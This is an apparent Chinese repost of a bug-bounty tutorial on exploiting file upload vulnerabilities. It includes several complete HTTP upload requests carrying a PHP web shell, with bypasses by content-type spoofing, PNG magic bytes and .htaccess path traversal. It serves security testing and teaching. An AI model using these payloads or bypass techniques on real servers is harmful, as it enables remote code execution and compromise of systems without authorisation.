什么是文件上传漏洞?
文件上传漏洞源于不安全的文件上传实现,尤其是当组件对上传的文件执行了不完善的验证或根本不执行验证时。
这种行为可能导致不良行为者上传恶意负载(例如 PHP 或 ASP 文件),并尝试在目标服务器上执行代码。
!(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMTc2IiBoZWlnaHQ9IjcwOCI+PC9zdmc+)
文件上传表单示例
因此,文件上传漏洞通常本质上具有影响,并可能导致各种其他漏洞,从存储的 XSS 到通过上传特制的有效载荷文件进行的远程代码执行。
在本文中,我们将介绍文件上传漏洞的简单、高级和边缘情况。
识别文件上传漏洞
并非所有文件上传实现都容易受到上述漏洞的影响。要成功利用文件上传漏洞,首先必须满足一些条件。
可检索
您必须有办法检索已上传的文件。大多数公司使用专用的存储桶或端点,但通常情况下,您需要知道文件的存储位置,以便稍后触发它。
内容类型
内容类型无法修复,如果处理您上传的文件的组件将您的内容类型覆盖为,例如,application/octet-stream
则您可能永远无法让目标服务器或 Web 浏览器(在发生 XSS 的情况下)执行您的文件内容。
利用简单的文件上传漏洞
让我们从利用一个简单的文件上传漏洞开始。
提示!每个后端都不一样。所有目标都使用不同的方法来实现文件上传。我们建议您在测试中尝试结合使用以下列出的几种绕过方法,以达到查找文件上传漏洞的预期效果。
无限制
这种情况在较旧的组件和文件上传实现中更为常见。文件上传组件对可上传的文件数量没有任何限制。这使得我们非常容易利用这一点。
您可以上传一个 Shell 文件,以便您在目标计算机上远程执行系统命令。如果后端是 PHP 语言,请务必上传 PHP Shell。如果后端是用 Java 编写的,请尝试上传 JSP Shell 等。
POST /Api/FileUpload.aspx HTTP/2Host: console.example.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAqAccept: */*------WebKitFormBoundary3RwPFJztxaJvrqAqContent-Disposition: form-data; name="file"; filename="intigriti.php"Content-Type: application/x-php<?php echo system($_GET['e']); ?>------WebKitFormBoundary3RwPFJztxaJvrqAq--
我们将在本文中使用上述 HTTP 请求作为示例。
提示!请务必遵循程序指南!某些程序不允许您上传恶意文件(或后门)。但是,如果允许上传,请尝试为恶意文件使用随机名称,以便只有您可以访问它。
绕过客户端限制
开发人员尝试限制某些文件类型的另一种方法是实施客户端限制。其中之一就是在输入表单字段中添加“accept”HTML 属性。这或许可以防止普通用户上传错误的文件类型。然而,这种方法对于使用位于客户端和服务器之间的代理拦截器的恶意行为者无效。
HTML“接受”属性
利用此上下文的最简单方法是上传有效文件,拦截您的请求并使用恶意文件更改上传的内容。
绕过文件扩展名黑名单
黑名单是开发人员限制文件上传的另一种常用方法。也许他/她已经考虑到了所有恶意文件扩展名,但总有一个鲜为人知的扩展名,几乎无人知晓。
让我们看一些常见的绕过方法:
绕过文件扩展名排除列表
理想情况下,您应该尝试所有这些,了解后端如何处理您的输入并确认它是否执行任何规范化以尝试上传您的恶意文件。
提示!不知道你面对的是排除列表还是允许列表?试试上传一个带有随机扩展名的文件。如果文件被接受,那么你很可能面对的是黑名单;否则,则很可能是严格定义的允许列表。
绕过文件扩展名白名单
绕过白名单的方法与上述情况略有不同。在这里,我们需要利用具有严格定义扩展的现有允许列表,或者查找解析方法或所使用的正则表达式模式中的任何缺陷。
让我们看一些更多的绕过方法,包括使用特殊编码来利用任何松散范围的正则表达式模式的绕过方法:
!(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOTIwIiBoZWlnaHQ9IjEwODAiPjwvc3ZnPg==)
绕过文件扩展名包含列表
如果文件上传实现根据内容类型确定您的文件类型,您还可以尝试上传具有白名单文件扩展名但具有恶意内容类型的文件:
POST /Api/FileUpload.aspx HTTP/2Host: console.example.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAqAccept: */*------WebKitFormBoundary3RwPFJztxaJvrqAqContent-Disposition: form-data; name="file"; filename="intigriti.png"Content-Type: application/x-php<?php echo system($_GET['e']); ?>------WebKitFormBoundary3RwPFJztxaJvrqAq--
请注意上面示例请求中的和。*filename
**Content-Type
*
就像以前一样,您应该尝试识别后端发生的任何规范化,并尝试利用它来为您带来优势。
现在让我们继续讨论更高级的文件上传限制绕过方法。
利用高级文件上传漏洞
绕过内容类型限制
开发人员限制恶意文件的另一种方法是验证上传文件的内容类型。在这种情况下,我们可以尝试将内容类型设置为任何允许的 MIME 类型,同时将文件扩展名保留为我们所需的文件类型:
POST /Api/FileUpload.aspx HTTP/2Host: console.example.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAqAccept: */*------WebKitFormBoundary3RwPFJztxaJvrqAqContent-Disposition: form-data; name="file"; filename="intigriti.php"Content-Type: image/png<?php echo system($_GET['e']); ?>------WebKitFormBoundary3RwPFJztxaJvrqAq--
再次取决于易受攻击的组件,在检索文件时,文件类型可能会由文件扩展名而不是文件内容类型来确定。
提示!请在此处应用相同的方法,并尝试利用任何现有的解析和验证缺陷。检查目标在发送多种内容类型、完全不发送或完全删除 content-type 参数时的行为。
魔法字节
文件内容的前几个字节(字符)决定并标识文件类型。这些字节通常也称为魔法字节、魔法数字或文件签名。
开发人员使用这些参数来验证文档,并忽略其他参数,例如内容类型或文件扩展名。幸运的是,我们可以上传一个通过此验证的文件,并附带我们的恶意负载。
这些是十六进制的普通图像(PNG)的魔法字节:
89 50 4E 47 0D 0A 1A 0A
如果确定文件限制过滤器是基于魔术字节的,那么我们可以简单地在恶意文件中使用这些字节:
POST /Api/FileUpload.aspx HTTP/2Host: console.example.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAqAccept: */*------WebKitFormBoundary3RwPFJztxaJvrqAqContent-Disposition: form-data; name="file"; filename="intigriti.php"Content-Type: application/x-php‰PNG␍␊␚␊<?php echo system($_GET['e']); ?>------WebKitFormBoundary3RwPFJztxaJvrqAq--
我们上传的文件会通过验证,因为它一开始会被检测为图像。然而,当我们稍后请求该 PHP 文件时,我们的恶意代码可能会被触发并在服务器上执行。
查看维基百科上记录的文件签名列表:https://en.wikipedia.org/wiki/List_of_file_signatures
提示!结合使用几种绕过方法,可以规避更严格的过滤!
覆盖服务器配置文件
如果没有做出严格的限制或没有对文件名进行正确的验证,在某些边缘情况下,我们可以遍历文件目录,甚至只需上传具有冲突名称的文件即可覆盖服务器配置文件。
我们来看一个简单的例子。
假设你的目标使用 Apache 通过 HTTP 提供内容。Apache 支持.htaccess
配置文件。弄清楚文件保存位置后,我们可以尝试覆盖现有.htaccess
配置文件或创建新配置文件。
POST /Api/FileUpload.aspx HTTP/2Host: console.example.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAqAccept: */*------WebKitFormBoundary3RwPFJztxaJvrqAqContent-Disposition: form-data; name="file"; filename="../../../.htaccess"Content-Type: text/plain# Your server configuraton rules------WebKitFormBoundary3RwPFJztxaJvrqAq--
通过这种方式,我们可以改变当前的服务器配置,并且在大多数情况下,它可以导致在目标上执行代码。
我们建议您列举目标上运行的服务和技术,并专门为您的目标制作有效载荷。
结论
文件上传漏洞本质上至关重要,因此值得花时间对这类漏洞进行测试。您应该尝试上传所有可能的有效载荷,找出文件验证过程中的潜在弱点和缺陷,并利用这些弱点和缺陷上传恶意文件。
原文始发于微信公众号(红云谈安全):查找高级文件上传漏洞的完整指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论